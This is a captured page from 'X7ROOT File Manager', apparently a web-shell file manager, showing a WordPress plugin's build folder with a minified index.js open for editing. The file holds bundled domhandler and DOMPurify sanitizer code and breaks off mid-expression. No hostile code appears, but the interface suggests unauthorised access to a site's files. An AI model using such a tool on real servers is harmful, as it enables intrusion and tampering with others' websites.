X7ROOT File Manager
Current Path:
/home/oakwood/public_html/wp-content/plugins/styler-for-wpforms/build
home
/
oakwood
/
public_html
/
wp-content
/
plugins
/
styler-for-wpforms
/
build
/
ðŸ“
..
ðŸ“
images
📄
index-rtl.css
(13.81 KB)
📄
index.asset.php
(181 B)
📄
index.css
(13.8 KB)
📄
index.js
(183.8 KB)
Editing: index.js
(()=>{var e={413:(e,t)=>{"use strict";var a;Object.defineProperty(t,"__esModule",{value:!0}),t.Doctype=t.CDATA=t.Tag=t.Style=t.Script=t.Comment=t.Directive=t.Text=t.Root=t.isTag=t.ElementType=void 0,function(e){e.Root="root",e.Text="text",e.Directive="directive",e.Comment="comment",e.Script="script",e.Style="style",e.Tag="tag",e.CDATA="cdata",e.Doctype="doctype"}(a=t.ElementType||(t.ElementType={})),t.isTag=function(e){return e.type===a.Tag||e.type===a.Script||e.type===a.Style},t.Root=a.Root,t.Text=a.Text,t.Directive=a.Directive,t.Comment=a.Comment,t.Script=a.Script,t.Style=a.Style,t.Tag=a.Tag,t.CDATA=a.CDATA,t.Doctype=a.Doctype},141:function(e,t,a){"use strict";var n=this&&this.__createBinding||(Object.create?function(e,t,a,n){void 0===n&&(n=a);var l=Object.getOwnPropertyDescriptor(t,a);l&&!("get"in l?!t.__esModule:l.writable||l.configurable)||(l={enumerable:!0,get:function(){return t[a]}}),Object.defineProperty(e,n,l)}:function(e,t,a,n){void 0===n&&(n=a),e[n]=t[a]}),l=this&&this.__exportStar||function(e,t){for(var a in e)"default"===a||Object.prototype.hasOwnProperty.call(t,a)||n(t,e,a)};Object.defineProperty(t,"__esModule",{value:!0}),t.DomHandler=void 0;var i=a(413),o=a(957);l(a(957),t);var r={withStartIndices:!1,withEndIndices:!1,xmlMode:!1},s=function(){function e(e,t,a){this.dom=[],this.root=new o.Document(this.dom),this.done=!1,this.tagStack=[this.root],this.lastNode=null,this.parser=null,"function"==typeof t&&(a=t,t=r),"object"==typeof e&&(t=e,e=void 0),this.callback=null!=e?e:null,this.options=null!=t?t:r,this.elementCB=null!=a?a:null}return e.prototype.onparserinit=function(e){this.parser=e},e.prototype.onreset=function(){this.dom=[],this.root=new o.Document(this.dom),this.done=!1,this.tagStack=[this.root],this.lastNode=null,this.parser=null},e.prototype.onend=function(){this.done||(this.done=!0,this.parser=null,this.handleCallback(null))},e.prototype.onerror=function(e){this.handleCallback(e)},e.prototype.onclosetag=function(){this.lastNode=null;var e=this.tagStack.pop();this.options.withEndIndices&&(e.endIndex=this.parser.endIndex),this.elementCB&&this.elementCB(e)},e.prototype.onopentag=function(e,t){var a=this.options.xmlMode?i.ElementType.Tag:void 0,n=new o.Element(e,t,void 0,a);this.addNode(n),this.tagStack.push(n)},e.prototype.ontext=function(e){var t=this.lastNode;if(t&&t.type===i.ElementType.Text)t.data+=e,this.options.withEndIndices&&(t.endIndex=this.parser.endIndex);else{var a=new o.Text(e);this.addNode(a),this.lastNode=a}},e.prototype.oncomment=function(e){if(this.lastNode&&this.lastNode.type===i.ElementType.Comment)this.lastNode.data+=e;else{var t=new o.Comment(e);this.addNode(t),this.lastNode=t}},e.prototype.oncommentend=function(){this.lastNode=null},e.prototype.oncdatastart=function(){var e=new o.Text(""),t=new o.CDATA([e]);this.addNode(t),e.parent=t,this.lastNode=e},e.prototype.oncdataend=function(){this.lastNode=null},e.prototype.onprocessinginstruction=function(e,t){var a=new o.ProcessingInstruction(e,t);this.addNode(a)},e.prototype.handleCallback=function(e){if("function"==typeof this.callback)this.callback(e,this.dom);else if(e)throw e},e.prototype.addNode=function(e){var t=this.tagStack[this.tagStack.length-1],a=t.children[t.children.length-1];this.options.withStartIndices&&(e.startIndex=this.parser.startIndex),this.options.withEndIndices&&(e.endIndex=this.parser.endIndex),t.children.push(e),a&&(e.prev=a,a.next=e),e.parent=t,this.lastNode=null},e}();t.DomHandler=s,t.default=s},957:function(e,t,a){"use strict";var n,l=this&&this.__extends||(n=function(e,t){return n=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}||function(e,t){for(var a in t)Object.prototype.hasOwnProperty.call(t,a)&&(e[a]=t[a])},n(e,t)},function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Class extends value "+String(t)+" is not a constructor or null");function __(){this.constructor=e}n(e,t),e.prototype=null===t?Object.create(t):(__.prototype=t.prototype,new __)}),i=this&&this.__assign||function(){return i=Object.assign||function(e){for(var t,a=1,n=arguments.length;a<n;a++)for(var l in t=arguments[a])Object.prototype.hasOwnProperty.call(t,l)&&(e[l]=t[l]);return e},i.apply(this,arguments)};Object.defineProperty(t,"__esModule",{value:!0}),t.cloneNode=t.hasChildren=t.isDocument=t.isDirective=t.isComment=t.isText=t.isCDATA=t.isTag=t.Element=t.Document=t.CDATA=t.NodeWithChildren=t.ProcessingInstruction=t.Comment=t.Text=t.DataNode=t.Node=void 0;var o=a(413),r=function(){function e(){this.parent=null,this.prev=null,this.next=null,this.startIndex=null,this.endIndex=null}return Object.defineProperty(e.prototype,"parentNode",{get:function(){return this.parent},set:function(e){this.parent=e},enumerable:!1,configurable:!0}),Object.defineProperty(e.prototype,"previousSibling",{get:function(){return this.prev},set:function(e){this.prev=e},enumerable:!1,configurable:!0}),Object.defineProperty(e.prototype,"nextSibling",{get:function(){return this.next},set:function(e){this.next=e},enumerable:!1,configurable:!0}),e.prototype.cloneNode=function(e){return void 0===e&&(e=!1),C(this,e)},e}();t.Node=r;var s=function(e){function t(t){var a=e.call(this)||this;return a.data=t,a}return l(t,e),Object.defineProperty(t.prototype,"nodeValue",{get:function(){return this.data},set:function(e){this.data=e},enumerable:!1,configurable:!0}),t}(r);t.DataNode=s;var c=function(e){function t(){var t=null!==e&&e.apply(this,arguments)||this;return t.type=o.ElementType.Text,t}return l(t,e),Object.defineProperty(t.prototype,"nodeType",{get:function(){return 3},enumerable:!1,configurable:!0}),t}(s);t.Text=c;var d=function(e){function t(){var t=null!==e&&e.apply(this,arguments)||this;return t.type=o.ElementType.Comment,t}return l(t,e),Object.defineProperty(t.prototype,"nodeType",{get:function(){return 8},enumerable:!1,configurable:!0}),t}(s);t.Comment=d;var u=function(e){function t(t,a){var n=e.call(this,a)||this;return n.name=t,n.type=o.ElementType.Directive,n}return l(t,e),Object.defineProperty(t.prototype,"nodeType",{get:function(){return 1},enumerable:!1,configurable:!0}),t}(s);t.ProcessingInstruction=u;var m=function(e){function t(t){var a=e.call(this)||this;return a.children=t,a}return l(t,e),Object.defineProperty(t.prototype,"firstChild",{get:function(){var e;return null!==(e=this.children[0])&&void 0!==e?e:null},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"lastChild",{get:function(){return this.children.length>0?this.children[this.children.length-1]:null},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"childNodes",{get:function(){return this.children},set:function(e){this.children=e},enumerable:!1,configurable:!0}),t}(r);t.NodeWithChildren=m;var p=function(e){function t(){var t=null!==e&&e.apply(this,arguments)||this;return t.type=o.ElementType.CDATA,t}return l(t,e),Object.defineProperty(t.prototype,"nodeType",{get:function(){return 4},enumerable:!1,configurable:!0}),t}(m);t.CDATA=p;var f=function(e){function t(){var t=null!==e&&e.apply(this,arguments)||this;return t.type=o.ElementType.Root,t}return l(t,e),Object.defineProperty(t.prototype,"nodeType",{get:function(){return 9},enumerable:!1,configurable:!0}),t}(m);t.Document=f;var g=function(e){function t(t,a,n,l){void 0===n&&(n=[]),void 0===l&&(l="script"===t?o.ElementType.Script:"style"===t?o.ElementType.Style:o.ElementType.Tag);var i=e.call(this,n)||this;return i.name=t,i.attribs=a,i.type=l,i}return l(t,e),Object.defineProperty(t.prototype,"nodeType",{get:function(){return 1},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"tagName",{get:function(){return this.name},set:function(e){this.name=e},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"attributes",{get:function(){var e=this;return Object.keys(this.attribs).map((function(t){var a,n;return{name:t,value:e.attribs[t],namespace:null===(a=e["x-attribsNamespace"])||void 0===a?void 0:a[t],prefix:null===(n=e["x-attribsPrefix"])||void 0===n?void 0:n[t]}}))},enumerable:!1,configurable:!0}),t}(m);function v(e){return(0,o.isTag)(e)}function b(e){return e.type===o.ElementType.CDATA}function h(e){return e.type===o.ElementType.Text}function S(e){return e.type===o.ElementType.Comment}function y(e){return e.type===o.ElementType.Directive}function w(e){return e.type===o.ElementType.Root}function C(e,t){var a;if(void 0===t&&(t=!1),h(e))a=new c(e.data);else if(S(e))a=new d(e.data);else if(v(e)){var n=t?E(e.children):[],l=new g(e.name,i({},e.attribs),n);n.forEach((function(e){return e.parent=l})),null!=e.namespace&&(l.namespace=e.namespace),e["x-attribsNamespace"]&&(l["x-attribsNamespace"]=i({},e["x-attribsNamespace"])),e["x-attribsPrefix"]&&(l["x-attribsPrefix"]=i({},e["x-attribsPrefix"])),a=l}else if(b(e)){n=t?E(e.children):[];var o=new p(n);n.forEach((function(e){return e.parent=o})),a=o}else if(w(e)){n=t?E(e.children):[];var r=new f(n);n.forEach((function(e){return e.parent=r})),e["x-mode"]&&(r["x-mode"]=e["x-mode"]),a=r}else{if(!y(e))throw new Error("Not implemented yet: ".concat(e.type));var s=new u(e.name,e.data);null!=e["x-name"]&&(s["x-name"]=e["x-name"],s["x-publicId"]=e["x-publicId"],s["x-systemId"]=e["x-systemId"]),a=s}return a.startIndex=e.startIndex,a.endIndex=e.endIndex,null!=e.sourceCodeLocation&&(a.sourceCodeLocation=e.sourceCodeLocation),a}function E(e){for(var t=e.map((function(e){return C(e,!0)})),a=1;a<t.length;a++)t[a].prev=t[a-1],t[a-1].next=t[a];return t}t.Element=g,t.isTag=v,t.isCDATA=b,t.isText=h,t.isComment=S,t.isDirective=y,t.isDocument=w,t.hasChildren=function(e){return Object.prototype.hasOwnProperty.call(e,"children")},t.cloneNode=C},838:function(e){e.exports=function(){"use strict";const{entries:e,setPrototypeOf:t,isFrozen:a,getPrototypeOf:n,getOwnPropertyDescriptor:l}=Object;let{freeze:i,seal:o,create:r}=Object,{apply:s,construct:c}="undefined"!=typeof Reflect&&Reflect;i||(i=function(e){return e}),o||(o=function(e){return e}),s||(s=function(e,t,a){return e.apply(t,a)}),c||(c=function(e,t){return new e(...t)});const d=E(Array.prototype.forEach),u=E(Array.prototype.pop),m=E(Array.prototype.push),p=E(String.prototype.toLowerCase),f=E(String.prototype.toString),g=E(String.prototype.match),v=E(String.prototype.replace),b=E(String.prototype.indexOf),h=E(String.prototype.trim),S=E(Object.prototype.hasOwnProperty),y=E(RegExp.prototype.test),w=(C=TypeError,function(){for(var e=arguments.length,t=new Array(e),a=0;a<e;a++)t[a]=arguments[a];return c(C,t)});var C;function E(e){return function(t){for(var a=arguments.length,n=new Array(a>1?a-1:0),l=1;l<a;l++)n[l-1]=arguments[l];return s(e,t,n)}}function k(e,n){let l=arguments.length>2&&void 0!==arguments[2]?arguments[2]:p;t&&t(e,null);let i=n.length;for(;i--;){let t=n[i];if("string"==typeof t){const e=l(t);e!==t&&(a(n)||(n[i]=e),t=e)}e[t]=!0}return e}function A(e){for(let t=0;t<e.length;t++)S(e,t)||(e[t]=null);return e}function I(t){const a=r(null);for(const[n,l]of e(t))S(t,n)&&(Array.isArray(l)?a[n]=A(l):l&&"object"==typeof l&&l.constructor===Object?a[n]=I(l):a[n]=l);return a}function P(e,t){for(;null!==e;){const a=l(e,t);if(a){if(a.get)return E(a.get);if("function"==typeof a.value)return E(a.value)}e=n(e)}return function(){return null}}const _=i(["a","abbr","acronym","address","area","article","aside","audio","b","bdi","bdo","big","blink","blockquote","body","br","button","canvas","caption","center","cite","code","col","colgroup","content","data","datalist","dd","decorator","del","details","dfn","dialog","dir","div","dl","dt","element","em","fieldset","figcaption","figure","font","footer","form","h1","h2","h3","h4","h5","h6","head","header","hgroup","hr","html","i","img","input","ins","kbd","label","legend","li","main","map","mark","marquee","menu","menuitem","meter","nav","nobr","ol","optgroup","option","output","p","picture","pre","progress","q","rp","rt","ruby","s","samp","section","select","shadow","small","source","spacer","span","strike","strong","style","sub","summary","sup","table","tbody","td","template","textarea","tfoot","th","thead","time","tr","track","tt","u","ul","var","video","wbr"]),T=i(["svg","a","altglyph","altglyphdef","altglyphitem","animatecolor","animatemotion","animatetransform","circle","clippath","defs","desc","ellipse","filter","font","g","glyph","glyphref","hkern","image","line","lineargradient","marker","mask","metadata","mpath","path","pattern","polygon","polyline","radialgradient","rect","stop","style","switch","symbol","text","textpath","title","tref","tspan","view","vkern"]),x=i(["feBlend","feColorMatrix","feComponentTransfer","feComposite","feConvolveMatrix","feDiffuseLighting","feDisplacementMap","feDistantLight","feDropShadow","feFlood","feFuncA","feFuncB","feFuncG","feFuncR","feGaussianBlur","feImage","feMerge","feMergeNode","feMorphology","feOffset","fePointLight","feSpecularLighting","feSpotLight","feTile","feTurbulence"]),U=i(["animate","color-profile","cursor","discard","font-face","font-face-format","font-face-name","font-face-src","font-face-uri","foreignobject","hatch","hatchpath","mesh","meshgradient","meshpatch","meshrow","missing-glyph","script","set","solidcolor","unknown","use"]),M=i(["math","menclose","merror","mfenced","mfrac","mglyph","mi","mlabeledtr","mmultiscripts","mn","mo","mover","mpadded","mphantom","mroot","mrow","ms","mspace","msqrt","mstyle","msub","msup","msubsup","mtable","mtd","mtext","mtr","munder","munderover","mprescripts"]),F=i(["maction","maligngroup","malignmark","mlongdiv","mscarries","mscarry","msgroup","mstack","msline","msrow","semantics","annotation","annotation-xml","mprescripts","none"]),O=i(["#text"]),D=i(["accept","action","align","alt","autocapitalize","autocomplete","autopictureinpicture","autoplay","background","bgcolor","border","capture","cellpadding","cellspacing","checked","cite","class","clear","color","cols","colspan","controls","controlslist","coords","crossorigin","datetime","decoding","default","dir","disabled","disablepictureinpicture","disableremoteplayback","download","draggable","enctype","enterkeyhint","face","for","headers","height","hidden","high","href","hreflang","id","inputmode","integrity","ismap","kind","label","lang","list","loading","loop","low","max","maxlength","media","method","min","minlength","multiple","muted","name","nonce","noshade","novalidate","nowrap","open","optimum","pattern","placeholder","playsinline","popover","popovertarget","popovertargetaction","poster","preload","pubdate","radiogroup","readonly","rel","required","rev","reversed","role","rows","rowspan","spellcheck","scope","selected","shape","size","sizes","span","srclang","start","src","srcset","step","style","summary","tabindex","title","translate","type","usemap","valign","value","width","wrap","xmlns","slot"]),N=i(["accent-height","accumulate","additive","alignment-baseline","ascent","attributename","attributetype","azimuth","basefrequency","baseline-shift","begin","bias","by","class","clip","clippathunits","clip-path","clip-rule","color","color-interpolation","color-interpolation-filters","color-profile","color-rendering","cx","cy","d","dx","dy","diffuseconstant","direction","display","divisor","dur","edgemode","elevation","end","fill","fill-opacity","fill-rule","filter","filterunits","flood-color","flood-opacity","font-family","font-size","font-size-adjust","font-stretch","font-style","font-variant","font-weight","fx","fy","g1","g2","glyph-name","glyphref","gradientunits","gradienttransform","height","href","id","image-rendering","in","in2","k","k1","k2","k3","k4","kerning","keypoints","keysplines","keytimes","lang","lengthadjust","letter-spacing","kernelmatrix","kernelunitlength","lighting-color","local","marker-end","marker-mid","marker-start","markerheight","markerunits","markerwidth","maskcontentunits","maskunits","max","mask","media","method","mode","min","name","numoctaves","offset","operator","opacity","order","orient","orientation","origin","overflow","paint-order","path","pathlength","patterncontentunits","patterntransform","patternunits","points","preservealpha","preserveaspectratio","primitiveunits","r","rx","ry","radius","refx","refy","repeatcount","repeatdur","restart","result","rotate","scale","seed","shape-rendering","specularconstant","specularexponent","spreadmethod","startoffset","stddeviation","stitchtiles","stop-color","stop-opacity","stroke-dasharray","stroke-dashoffset","stroke-linecap","stroke-linejoin","stroke-miterlimit","stroke-opacity","stroke","stroke-width","style","surfacescale","systemlanguage","tabindex","targetx","targety","transform","transform-origin","text-anchor","text-decoration","text-rendering","textlength","type","u1","u2","unicode","values","viewbox","visibility","version","vert-adv-y","vert-origin-x","vert-origin-y","width","word-spacing","wrap","writing-mode","xchannelselector","ychannelselector","x","x1","x2","xmlns","y","y1","y2","z","zoomandpan"]),B=i(["accent","accentunder","align","bevelled","close","columnsalign","columnlines","columnspan","denomalign","depth","dir","display","displaystyle","encoding","fence","frame","height","href","id","largeop","length","linethickness","lspace","lquote","mathbackground","mathcolor","mathsize","mathvariant","maxsize","minsize","movablelimits","notation","numalign","open","rowalign","rowlines","rowspacing","rowspan","rspace","rquote","scriptlevel","scriptminsize","scriptsizemultiplier","selection","separator","separators","stretchy","subscriptshift","supscriptshift","symmetric","voffset","width","xmlns"]),L=i(["xlink:href","xml:id","xlink:title","xml:space","xmlns:xlink"]),H=o(/\{\{[\w\W]*|[\w\W]*\}\}/gm),R=o(/<%[\w\W]*|[\w\W]*%>/gm),z=o(/\${[\w\W]*}/gm),G=o(/^data-[\-\w.\u00B7-\uFFFF]/),W=o(/^aria-[\-\w]+$/),j=o(/^(?:(?:(?:f|ht)tps?|mailto|tel|callto|sms|cid|xmpp):|[^a-z]|[a-z+.\-]+(?:[^a-z+.\-:]|$))/i),$=o(/^(?:\w+script|data):/i),V=o(/[\u0000-\u0020\u00A0\u1680\u180E\u2000-\u2029\u205F\u3000]/g),K=o(/^html$/i),Y=o(/^[a-z][.\w]*(-[.\w]+)+$/i);var q=Object.freeze({__proto__:null,MUSTACHE_EXPR:H,ERB_EXPR:R,TMPLIT_EXPR:z,DATA_ATTR:G,ARIA_ATTR:W,IS_ALLOWED_URI:j,IS_SCRIPT_OR_DATA:$,ATTR_WHITESPACE:V,DOCTYPE_NAME:K,CUSTOM_ELEMENT:Y});const J=1,X=3,Q=7,Z=8,ee=9,te=function(){return"undefined"==typeof window?null:window};return function t(){let a=arguments.length>0&&void 0!==arguments[0]?arguments[0]:te();const n=e=>t(e);if(n.version="3.1.5",n.removed=[],!a||!a.document||a.document.nodeType!==ee)return n.isSupported=!1,n;let{document:l}=a;const o=l,s=o.currentScript,{DocumentFragment:c,HTMLTemplateElement:C,Node:E,Element:A,NodeFilter:H,NamedNodeMap:R=a.NamedNodeMap||a.MozNamedAttrMap,HTMLFormElement:z,DOMParser:G,trustedTypes:W}=a,$=A.prototype,V=P($,"cloneNode"),Y=P($,"nextSibling"),ae=P($,"childNodes"),ne=P($,"parentNode");if("function"==typeof C){const e=l.createElement("template");e.content&&e.content.ownerDocument&&(l=e.content.ownerDocument)}let le,ie="";const{implementation:oe,createNodeIterator:re,createDocumentFragment:se,getElementsByTagName:ce}=l,{importNode:de}=o;let ue={};n.isSupported="function"==typeof e&&"function"==typeof ne&&oe&&void 0!==oe.createHTMLDocument;const{MUSTACHE_EXPR:me,ERB_EXPR:pe,TMPLIT_EXPR:fe,DATA_ATTR:ge,ARIA_ATTR:ve,IS_SCRIPT_OR_DATA:be,ATTR_WHITESPACE:he,CUSTOM_ELEMENT:Se}=q;let{IS_ALLOWED_URI:ye}=q,we=null;const Ce=k({},[..._,...T,...x,...M,...O]);let Ee=null;const ke=k({},[...D,...N,...B,...L]);let Ae=Object.seal(r(null,{tagNameCheck:{writable:!0,configurable:!1,enumerable:!0,value:null},attributeNameCheck:{writable:!0,configurable:!1,enumerable:!0,value:null},allowCustomizedBuiltInElements:{writable:!0,configurable:!1,enumerable:!0,value:!1}})),Ie=null,Pe=null,_e=!0,Te=!0,xe=!1,Ue=!0,Me=!1,Fe=!0,Oe=!1,De=!1,Ne=!1,Be=!1,Le=!1,He=!1,Re=!0,ze=!1,Ge=!0,We=!1,je={},$e=null;const Ve=k({},["annotation-xml","audio","colgroup","desc","foreignobject","head","iframe","math","mi","mn","mo","ms","mtext","noembed","noframes","noscript","plaintext","script","style","svg","template","thead","title","video","xmp"]);let Ke=null;const Ye=k({},["audio","video","img","source","image","track"]);let qe=null;const Je=k({},["alt","class","for","id","label","name","pattern","placeholder","role","summary","title","value","style","xmlns"]),Xe="http://www.w3.org/1998/Math/MathML",Qe="http://www.w3.org/2000/svg",Ze="http://www.w3.org/1999/xhtml";let et=Ze,tt=!1,at=null;const nt=k({},[Xe,Qe,Ze],f);let lt=null;const it=["application/xhtml+xml","text/html"];let ot=null,rt=null;const st=l.createElement("form"),ct=function(e){return e instanceof RegExp||e instanceof Function},dt=function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};if(!rt||rt!==e){if(e&&"object"==typeof e||(e={}),e=I(e),lt=-1===it.indexOf(e.PARSER_MEDIA_TYPE)?"text/html":e.PARSER_MEDIA_TYPE,ot="application/xhtml+xml"===lt?f:p,we=S(e,"ALLOWED_TAGS")?k({},e.ALLOWED_TAGS,ot):Ce,Ee=S(e,"ALLOWED_ATTR")?k({},e.ALLOWED_ATTR,ot):ke,at=S(e,"ALLOWED_NAMESPACES")?k({},e.ALLOWED_NAMESPACES,f):nt,qe=S(e,"ADD_URI_SAFE_ATTR")?k(I(Je),e.ADD_URI_SAFE_ATTR,ot):Je,Ke=S(e,"ADD_DATA_URI_TAGS")?k(I(Ye),e.ADD_DATA_URI_TAGS,ot):Ye,$e=S(e,"FORBID_CONTENTS")?k({},e.FORBID_CONTENTS,ot):Ve,Ie=S(e,"FORBID_TAGS")?k({},e.FORBID_TAGS,ot):{},Pe=S(e,"FORBID_ATTR")?k({},e.FORBID_ATTR,ot):{},je=!!S(e,"USE_PROFILES")&&e.USE_PROFILES,_e=!1!==e.ALLOW_ARIA_ATTR,Te=!1!==e.ALLOW_DATA_ATTR,xe=e.ALLOW_UNKNOWN_PROTOCOLS||!1,Ue=!1!==e.ALLOW_SELF_CLOSE_IN_ATTR,Me=e.SAFE_FOR_TEMPLATES||!1,Fe=!1!==e.SAFE_FOR_XML,Oe=e.WHOLE_DOCUMENT||!1,Be=e.RETURN_DOM||!1,Le=e.RETURN_DOM_FRAGMENT||!1,He=e.RETURN_TRUSTED_TYPE||!1,Ne=e.FORCE_BODY||!1,Re=!1!==e.SANITIZE_DOM,ze=e.SANITIZE_NAMED_PROPS||!1,Ge=!1!==e.KEEP_CONTENT,We=e.IN_PLACE||!1,ye=e.ALLOWED_URI_REGEXP||j,et=e.NAMESPACE||Ze,Ae=e.CUSTOM_ELEMENT_HANDLING||{},e.CUSTOM_ELEMENT_HANDLING&&ct(e.CUSTOM_ELEMENT_HANDLING.tagNameCheck)&&(Ae.tagNameCheck=e.CUSTOM_ELEMENT_HANDLING.tagNameCheck),e.CUSTOM_ELEMENT_HANDLING&&ct(e.CUSTOM_ELEMENT_HANDLING.attributeNameCheck)&&(Ae.attributeNameCheck=e.CUSTOM_ELEMENT_HANDLING.attributeNameCheck),e.CUSTOM_ELEMENT_HANDLING&&"boolean"==typeof e.CUSTOM_ELEMENT_HANDLING.allowCustomizedBuiltInElements&&(Ae.allowCustomizedBuiltInElements=e.CUSTOM_ELEMENT_HANDLING.allowCustomizedBuiltInElements),Me&&(Te=!1),Le&&(Be=!0),je&&(we=k({},O),Ee=[],!0===je.html&&(k(we,_),k(Ee,D)),!0===je.svg&&(k(we,T),k(Ee,N),k(Ee,L)),!0===je.svgFilters&&(k(we,x),k(Ee,N),k(Ee,L)),!0===je.mathMl&&(k(we,M),k(Ee,B),k(Ee,L))),e.ADD_TAGS&&(we===Ce&&(we=I(we)),k(we,e.ADD_TAGS,ot)),e.ADD_ATTR&&(Ee===ke&&(Ee=I(Ee)),k(Ee,e.ADD_ATTR,ot)),e.ADD_URI_SAFE_ATTR&&k(qe,e.ADD_URI_SAFE_ATTR,ot),e.FORBID_CONTENTS&&($e===Ve&&($e=I($e)),k($e,e.FORBID_CONTENTS,ot)),Ge&&(we["#text"]=!0),Oe&&k(we,["html","head","body"]),we.table&&(k(we,["tbody"]),delete Ie.tbody),e.TRUSTED_TYPES_POLICY){if("function"!=typeof e.TRUSTED_TYPES_POLICY.createHTML)throw w('TRUSTED_TYPES_POLICY configuration option must provide a "createHTML" hook.');if("function"!=typeof e.TRUSTED_TYPES_POLICY.createScriptURL)throw w('TRUSTED_TYPES_POLICY configuration option must provide a "createScriptURL" hook.');le=e.TRUSTED_TYPES_POLICY,ie=le.createHTML("")}else void 0===le&&(le=function(e,t){if("object"!=typeof e||"function"!=typeof e.createPolicy)return null;let a=null;const n="data-tt-policy-suffix";t&&t.hasAttribute(n)&&(a=t.getAttribute(n));const l="dompurify"+(a?"#"+a:"");try{return e.createPolicy(l,{createHTML:e=>e,createScriptURL:e=>e})}catch(e){return console.warn("TrustedTypes policy "+l+" could not be created."),null}}(W,s)),null!==le&&"string"==typeof ie&&(ie=le.createHTML(""));i&&i(e),rt=e}},ut=k({},["mi","mo","mn","ms","mtext"]),mt=k({},["foreignobject","annotation-xml"]),pt=k({},["title","style","font","a","script"]),ft=k({},[...T,...x,...U]),gt=k({},[...M,...F]),vt=function(e){m(n.removed,{element:e});try{e.parentNode.removeChild(e)}catch(t){e.remove()}},bt=function(e,t){try{m(n.removed,{attribute:t.getAttributeNode(e),from:t})}catch(e){m(n.removed,{attribute:null,from:t})}if(t.removeAttribute(e),"is"===e&&!Ee[e])if(Be||Le)try{vt(t)}catch(e){}else try{t.setAttribute(e,"")}catch(e){}},ht=function(e){let t=null,a=null;if(Ne)e="<remove></remove>"+e;else{const t=g(e,/^[\r\n\t ]+/);a=t&&t[0]}"application/xhtml+xml"===lt&&et===Ze&&(e='<html xmlns="http://www.w3.org/1999/xhtml"><head></head><body>'+e+"</body></html>");const n=le?le.createHTML(e):e;if(et===Ze)try{t=(new G).parseFromString(n,lt)}catch(e){}if(!t||!t.documentElement){t=oe.createDocument(et,"template",null);try{t.documentElement.innerHTML=tt?ie:n}catch(e){}}const i=t.body||t.documentElement;return e&&a&&i.insertBefore(l.createTextNode(a),i.childNodes[0]||null),et===Ze?ce.call(t,Oe?"html":"body")[0]:Oe?t.documentElement:i},St=function(e){return re.call(e.ownerDocument||e,e,H.SHOW_ELEMENT|H.SHOW_COMMENT|H.SHOW_TEXT|H.SHOW_PROCESSING_INSTRUCTION|H.SHOW_CDATA_SECTION,null)},yt=function(e){return e instanceof z&&("string"!=typeof e.nodeName||"string"!=typeof e.textContent||"function"!=typeof e.removeChild||!(e.attributes instanceof R)||"function"!=typeof e.removeAttribute||"function"!=typeof e.setAttribute||"string"!=typeof e.namespaceURI||"function"!=typeof e.insertBefore||"function"!=typeof e.hasChildNodes)},wt=function(e){return"function"==typeof E&&e instanceof E},Ct=function(e,t,a){ue[e]&&d(ue[e],(e=>{e.call(n,t,a,rt)}))},Et=function(e){let t=null;if(Ct("beforeSanitizeElements",e,null),yt(e))return vt(e),!0;const a=ot(e.nodeName);if(Ct("uponSanitizeElement",e,{tagName:a,allowedTags:we}),e.hasChildNodes()&&!wt(e.firstElementChild)&&y(/<[/\w]/g,e.innerHTML)&&y(/<[/\w]/g,e.textContent))return vt(e),!0;if(e.nodeType===Q)return vt(e),!0;if(Fe&&e.nodeType===Z&&y(/<[/\w]/g,e.data))return vt(e),!0;if(!we[a]||Ie[a]){if(!Ie[a]&&At(a)){if(Ae.tagNameCheck instanceof RegExp&&y(Ae.tagNameCheck,a))return!1;if(Ae.tagNameCheck instanceof Function&&Ae.tagNameCheck(a))return!1}if(Ge&&!$e[a]){const t=ne(e)||e.parentNode,a=ae(e)||e.childNodes;if(a&&t)for(let n=a.length-1;n>=0;--n){const l=V(a[n],!0);l.__removalCount=(e.__removalCount||0)+1,t.insertBefore(l,Y(e))}}return vt(e),!0}return e instanceof A&&!function(e){let t=ne(e);t&&t.tagName||(t={namespaceURI:et,tagName:"template"});const a=p(e.tagName),n=p(t.tagName);return!!at[e.namespaceURI]&&(e.namespaceURI===Qe?t.namespaceURI===Ze?"svg"===a:t.namespaceURI===Xe?"svg"===a&&("annotation-xml"===n||ut[n]):Boolean(ft[a]):e.namespaceURI===Xe?t.namespaceURI===Ze?"math"===a:t.namespaceURI===Qe?"math"===a&&mt[n]:Boolean(gt[a]):e.namespaceURI===Ze?!(t.namespaceURI===Qe&&!mt[n])&&!(t.namespaceURI===Xe&&!ut[n])&&!gt[a]&&(pt[a]||!ft[a]):!("application/xhtml+xml"!==lt||!at[e.namespaceURI]))}(e)?(vt(e),!0):"noscript"!==a&&"noembed"!==a&&"noframes"!==a||!y(/<\/no(script|embed|frames)/i,e.innerHTML)?(Me&&e.nodeType===X&&(t=e.textContent,d([me,pe,fe],(e=>{t=v(t,e," ")})),e.textContent!==t&&(m(n.removed,{element:e.cloneNode()}),e.textContent=t)),Ct("afterSanitizeElements",e,null),!1):(vt(e),!0)},kt=function(e,t,a){if(Re&&("id"===t||"name"===t)&&(a in l||a in st))return!1;if(Te&&!Pe[t]&&y(ge,t));else if(_e&&y(ve,t));else if(!Ee[t]||Pe[t]){if(!(At(e)&&(Ae.tagNameCheck instanceof RegExp&&y(Ae.tagNameCheck,e)||Ae.tagNameCheck instanceof Function&&Ae.tagNameCheck(e))&&(Ae.attributeNameCheck instanceof RegExp&&y(Ae.attributeNameCheck,t)||Ae.attributeNameCheck instanceof Function&&Ae.attributeNameCheck(t))||"is"===t&&Ae.allowCustomizedBuiltInElements&&(Ae.tagNameCheck instanceof RegExp&&y(Ae.tagNameCheck,a)||Ae.tagNameCheck instanceof Function&&Ae.tagNameCheck(a))))return!1}else if(qe[t]);else if(y(ye,v(a,he,"")));else if("src"!==t&&"xlink:href"!==t&&"href"!==t||"script"===e||0!==b(a,"data:")||!Ke[e])if(xe&&!y(be,v(a,he,"")));else if(a)return!1;return!0},At=function(e){return"annotation-xml"!==e&&g(e,Se)},It=function(e){Ct("beforeSanitizeAttributes",e,null);const{attributes:t}=e;if(!t)return;const a={attrName:"",attrValue:"",keepAttr:!0,allowedAttributes:Ee};let l=t.length;for(;l--;){const i=t[l],{name:o,namespaceURI:r,value:s}=i,c=ot(o);let m="value"===o?s:h(s);if(a.attrName=c,a.attrValue=m,a.keepAttr=!0,a.forceKeepAttr=void 